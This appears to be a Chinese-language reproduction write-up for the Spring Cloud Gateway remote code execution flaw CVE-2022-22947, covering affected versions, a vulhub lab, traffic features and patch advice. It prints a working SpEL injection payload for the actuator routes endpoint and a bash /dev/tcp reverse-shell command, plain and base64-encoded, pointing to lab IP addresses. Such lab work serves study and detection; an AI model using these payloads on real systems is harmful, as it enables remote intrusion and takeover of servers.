目录
0x01 声明:
0x02 简介:
0x03 漏洞概述:
0x04 影响版本:
0x05 环境搭建:
Docker环境:
漏洞环境:
0x06 漏洞复现:
POC:
利用POC:
分析POC:
0x07 流量分析:
POC流量:
反弹shell流量:
0x08 修复建议:
仅供学习参考使用,请勿用作违法用途,否则后果自负。
Spring Cloud Gateway是基于Spring Framework 和 Spring Boot构建的API网关,它旨在为微服务架构提供一种简单、有效、统一的API路由管理方式。建议使用Spring Cloud Gateway的用户及时安排自检并做好安全加固。
近日,披露Spring Cloud Gateway存在一处远程代码执行漏洞(CVE-2022-22947)。当Spring Cloud Gateway启用、暴露 和不安全Gateway Actuator 端点时,攻击者可以通过向使用 Spring Cloud Gateway 的应用程序发送特制的恶意请求,触发远程任意代码执行,利用难度低,目前POC已公开,风险较高。
3.1.x系列:Spring Cloud Gateway < 3.1.1
3.0.x系列:Spring Cloud Gateway < 3.0.7
其他旧的、不受支持的Spring Cloud Gateway版本
参考这篇文章(Docker&Docker-compose环境安装_Evan Kang的博客-CSDN博客)
1、下载vulhub
(Vulhub环境压缩包_httpdCVE-2022-22963-网络安全文档类资源-CSDN下载)
(https://github.com/vulhub/vulhub)
2、进入vulhub/spring/CVE-2022-22947环境
3、启动docker环境
4、访问系统
(自己写了很多边都回有问题,这里放大佬写好的吧。)
(https://github.com/j-jasson/CVE-2022-22947-Spring-Cloud-Gateway-SpelRCE)
注意上方这里要做反弹shell的时候需要注意格式。
bash -c {echo,xxx}|{base64,-d}|{bash,-i}
||(Base64)
bash -i >& /dev/tcp/192.168.16.129/1234 0>&1
主要特征为:url + /actuator/gateway/routes/
请求url:192.168.18.130:8080/actuator/gateway/routes/hacktest
传递参数:
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4LjEyMC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}\")).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}
响应码:201
1、目前官方已发布修复版本修复了该漏洞,请受影响的用户升级到安全版本。
Tags · spring-cloud/spring-cloud-gateway · GitHub